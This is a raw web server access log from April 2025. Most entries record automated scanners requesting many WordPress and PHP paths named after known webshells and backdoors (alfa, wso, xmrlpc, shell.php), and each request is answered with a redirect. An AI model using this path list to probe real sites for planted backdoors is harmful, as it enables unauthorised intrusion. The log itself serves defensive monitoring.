"-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:36 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:36 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:37 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:37 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:38 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:38 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:39 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:39 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:39 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:40 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:40 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:41 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:41 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:42 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:42 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:43 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:43 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:43 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:44 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:44 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:45 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:45 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:46 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:46 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:47 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:47 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:48 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:48 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:49 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:49 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:49 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:50 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:50 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:51 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:51 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:52 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:52 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:53 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:53 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:54 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:55 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:55 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:56 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:56 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:57 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:57 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:58 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:58 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:17:59 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:00 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:00 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:01 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:01 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:02 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:02 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:03 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:03 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:04 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:04 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:05 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:05 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:05 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:06 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:06 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:07 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:07 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:08 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:09 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:09 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:10 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:10 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:10 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:11 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:11 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:12 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:12 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:13 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:13 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:14 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:15 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:15 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:16 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:16 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:17 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:17 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:18 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:18 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [18/Apr/2025:23:18:19 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 18.223.108.59 - - [18/Apr/2025:23:54:00 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 37.214.63.95 - - [18/Apr/2025:23:59:20 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 162.0.232.217 - - [19/Apr/2025:00:19:41 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:19:47 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:19:51 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:19:52 -0400] "GET /.well-known/pki-validation/xl2023.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:22:50 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:22:55 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:23:12 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:23:24 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:23:38 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:23:46 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:23:51 -0400] "GET /.well-known/pki-validation/x.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:23:59 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:24:00 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:24:09 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:24:20 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:24:31 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [19/Apr/2025:00:24:32 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 52.48.53.137 - - [19/Apr/2025:00:28:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 203.33.203.148 - - [19/Apr/2025:00:50:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 196.251.88.242 - - [19/Apr/2025:00:58:48 -0400] "POST /ss.php HTTP/1.1" 301 795 "-" "python-requests/2.27.1" 66.249.64.160 - - [19/Apr/2025:01:07:00 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.160 - - [19/Apr/2025:01:07:00 -0400] "GET /images/social/Social_by_Deisgn_Pitara_01.jpg HTTP/1.1" 301 795 "-" "Googlebot-Image/1.0" 43.130.102.7 - - [19/Apr/2025:01:07:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.223.5.73 - - [19/Apr/2025:01:10:26 -0400] "GET /static/plugins/webuploader/server/preview.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 34.210.185.127 - - [19/Apr/2025:01:10:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 205.210.31.23 - - [19/Apr/2025:01:17:58 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 37.139.53.46 - - [19/Apr/2025:01:27:43 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 52.230.121.51 - - [19/Apr/2025:01:34:59 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:02 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:05 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:08 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:13 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:20 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:26 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:29 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:30 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:31 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:33 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:34 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:35 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:36 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:37 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:38 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:39 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:40 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:41 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:42 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:43 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:44 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:45 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:45 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:46 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:47 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:48 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:49 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:49 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:50 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:51 -0400] "GET /wp-includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:51 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:52 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:53 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:53 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:54 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:55 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:55 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:56 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:57 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:57 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:58 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:59 -0400] "GET /wp-content/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:35:59 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:00 -0400] "GET /cgi-bin/404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:00 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:01 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:02 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:03 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:03 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:04 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:05 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:05 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:06 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:07 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:08 -0400] "GET /.well-known/cloud.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:09 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:09 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:10 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:11 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:12 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:12 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:13 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:14 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:15 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:16 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:17 -0400] "GET /wp-includes/system_log.php?p= HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:17 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:18 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:19 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:20 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:21 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:22 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:23 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:23 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:24 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:25 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:26 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:27 -0400] "GET /wp-admin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:27 -0400] "GET /wp-content/themes/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:28 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:28 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:29 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:29 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:30 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:31 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:31 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:32 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:33 -0400] "GET /wp-content/upgrade/function.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:34 -0400] "GET /wp-admin/user/themes.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:34 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:35 -0400] "GET /wp-admin/css/license.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:36 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:37 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:38 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:38 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:39 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:39 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - [19/Apr/2025:01:36:40 -0400] "GET /.well-known/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.230.121.51 - - 